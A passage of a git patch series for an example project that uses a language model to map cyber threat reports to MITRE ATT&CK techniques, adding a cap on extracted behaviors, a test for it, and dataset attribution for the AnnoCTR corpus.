traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.", + "tactics": [ + "collection", + "credential access" + ], + "platforms": [ + "Linux", + "Network Devices", + "Windows", + "macOS" + ], + "is_subtechnique": false, + "attack_url": "https://attack.mitre.org/techniques/T1557", + "stix_id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "modified": "2026-05-12T15:12:00.620Z" + } + } + ] +} From 737e9f3f95552d60e79aea6165d849681c7ebf4a Mon Sep 17 00:00:00 2001 From: svonava Date: Fri, 21 Aug 2026 02:33:26 -0700 Subject: [PATCH 4/4] fix(examples): cap ATT&CK report processing --- .../fixtures/SOURCES.md | 16 ++++-- .../tests/test_pipeline.py | 54 +++++++++++++++++++ .../threat_mapper/pipeline.py | 6 +++ .../threat_mapper/runner.py | 4 +- .../verified-run/README.md | 6 +++ 5 files changed, 79 insertions(+), 7 deletions(-) diff --git a/examples/threat-report-attck-mapper/fixtures/SOURCES.md b/examples/threat-report-attck-mapper/fixtures/SOURCES.md index 7dbd65a7b..874e98ef3 100644 --- a/examples/threat-report-attck-mapper/fixtures/SOURCES.md +++ b/examples/threat-report-attck-mapper/fixtures/SOURCES.md @@ -15,9 +15,14 @@ SHA-256 before use. - Source: `boschresearch/anno-ctr-lrec-coling-2024` - Commit: `d510b6949e1938d47c93a43eedd562dc538439dc` -- License: CC BY-SA 4.0 for the `AnnoCTR/` corpus -- Paper: Lukas Lange et al., “AnnoCTR: A Dataset for Detecting and Linking - Entities, Tactics, and Techniques in Cyber Threat Reports,” LREC-COLING 2024. +- License: [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) for + the `AnnoCTR/` corpus +- Paper: Lukas Lange et al., [“AnnoCTR: A Dataset for Detecting and Linking + Entities, Tactics, and Techniques in Cyber Threat + Reports”](https://aclanthology.org/2024.lrec-main.103/), LREC-COLING 2024. + +Proofpoint contributed “MFA PSA, Oh My!” to AnnoCTR and remains the original +publisher of the complete report used in `verified-run/parsed-report.md`. The benchmark uses AnnoCTR's published train, dev, and test files. Rows that share one annotated span are grouped into a single multi-label case. Historical @@ -26,5 +31,6 @@ with AnnoCTR. Full-report review uses active ATT&CK 19.2. Keeping the catalogs separate prevents a correct current mapping from being marked wrong because an older technique definition or label changed. -The benchmark starts from an annotated behavior span. It measures ATT&CK -linking; it does not claim to measure behavior detection over a full report. +The legacy `benchmark` command starts from an annotated behavior span. The +`full-benchmark` command starts from complete report text and evaluates behavior +extraction separately from ATT&CK linking. diff --git a/examples/threat-report-attck-mapper/tests/test_pipeline.py b/examples/threat-report-attck-mapper/tests/test_pipeline.py index e60339ccf..1d6376325 100644 --- a/examples/threat-report-attck-mapper/tests/test_pipeline.py +++ b/examples/threat-report-attck-mapper/tests/test_pipeline.py @@ -225,6 +225,60 @@ def test_behavior_extraction_reduces_the_row_limit_when_text_cannot_split() -> N assert calls[0]["outcome"] == "invalid_json_retried_with_smaller_request" +def test_behavior_extraction_caps_rows_across_the_complete_report() -> None: + from threat_mapper.pipeline import extract_behaviors + + report = "First actor stole passwords.\n\nSecond actor used a proxy.\n\nThird actor downloaded a payload." + client = FakeGenerateClient( + [ + { + "behaviors": [ + { + "quote": "stole passwords", + "summary": "Password theft", + "action": "stole", + "object": "passwords", + } + ] + }, + { + "behaviors": [ + { + "quote": "used a proxy", + "summary": "Proxy use", + "action": "used", + "object": "proxy", + }, + { + "quote": "used a proxy", + "summary": "Extra row from an invalid response", + "action": "accessed", + "object": "account", + }, + ] + }, + ] + ) + + behaviors, calls = extract_behaviors( + client, + "Qwen/Qwen3.6-27B", + report, + max_behaviors=2, + chunk_characters=35, + provision_timeout_s=60, + ) + + assert [(row.action, row.object) for row in behaviors] == [ + ("stole", "passwords"), + ("used", "proxy"), + ] + assert len(calls) == 2 + assert "Return at most 2 behaviors" in client.prompts[0] + assert "Return at most 1 behaviors" in client.prompts[1] + assert calls[1]["request_payload"]["grammar"]["json_schema"]["properties"]["behaviors"]["maxItems"] == 1 + + def test_split_report_returns_exact_source_spans_when_paragraphs_merge() -> None: report = " First paragraph.\n\n\nSecond paragraph. " diff --git a/examples/threat-report-attck-mapper/threat_mapper/pipeline.py b/examples/threat-report-attck-mapper/threat_mapper/pipeline.py index 56cb50e90..68468c790 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/pipeline.py +++ b/examples/threat-report-attck-mapper/threat_mapper/pipeline.py @@ -265,6 +265,10 @@ def extract_behaviors( ] while pending_chunks: chunk_start, chunk_end, chunk_label, behavior_limit = pending_chunks.pop(0) + remaining_behaviors = max_behaviors - len(behaviors) + if remaining_behaviors <= 0: + break + behavior_limit = min(behavior_limit, remaining_behaviors) chunk = report_text[chunk_start:chunk_end] anchors = _entities_for_chunk(entities, chunk_start, chunk_end) anchor_text = ( @@ -347,6 +351,8 @@ def extract_behaviors( if not isinstance(rows, list): raise TypeError("Behavior extractor omitted behaviors") for row in rows: + if len(behaviors) >= max_behaviors: + break if not isinstance(row, dict): continue grounded = _ground_quote(chunk, str(row.get("quote", ""))) diff --git a/examples/threat-report-attck-mapper/threat_mapper/runner.py b/examples/threat-report-attck-mapper/threat_mapper/runner.py index 836ddeb26..b6359b685 100644 --- a/examples/threat-report-attck-mapper/threat_mapper/runner.py +++ b/examples/threat-report-attck-mapper/threat_mapper/runner.py @@ -911,8 +911,8 @@ def verify_job( "predictions": document_predictions, }, ) - _write_jsonl(staging / "predictions.jsonl", predictions) - write_json(staging / "api-calls.json", calls) + _write_jsonl(staging / "predictions.jsonl", predictions) + write_json(staging / "api-calls.json", calls) evaluation = evaluate_full_report_predictions( predictions, diff --git a/examples/threat-report-attck-mapper/verified-run/README.md b/examples/threat-report-attck-mapper/verified-run/README.md index 914078b49..3ff77d504 100644 --- a/examples/threat-report-attck-mapper/verified-run/README.md +++ b/examples/threat-report-attck-mapper/verified-run/README.md @@ -3,6 +3,12 @@ This directory records the August 21, 2026 run of `attck-map demo` against the pinned Proofpoint report. +Proofpoint published “MFA PSA, Oh My!” and contributed the report to +[AnnoCTR](https://github.com/boschresearch/anno-ctr-lrec-coling-2024). Bosch +Research republishes the corpus under +[CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/). The dataset is +documented in the [AnnoCTR paper](https://aclanthology.org/2024.lrec-main.103/). + - `parsed-report.md` is the complete AnnoCTR report text consumed by the agent. - `api-calls.json` keeps each SIE request and raw response. - `review.json` keeps all extracted behaviors, candidate ledgers, and routing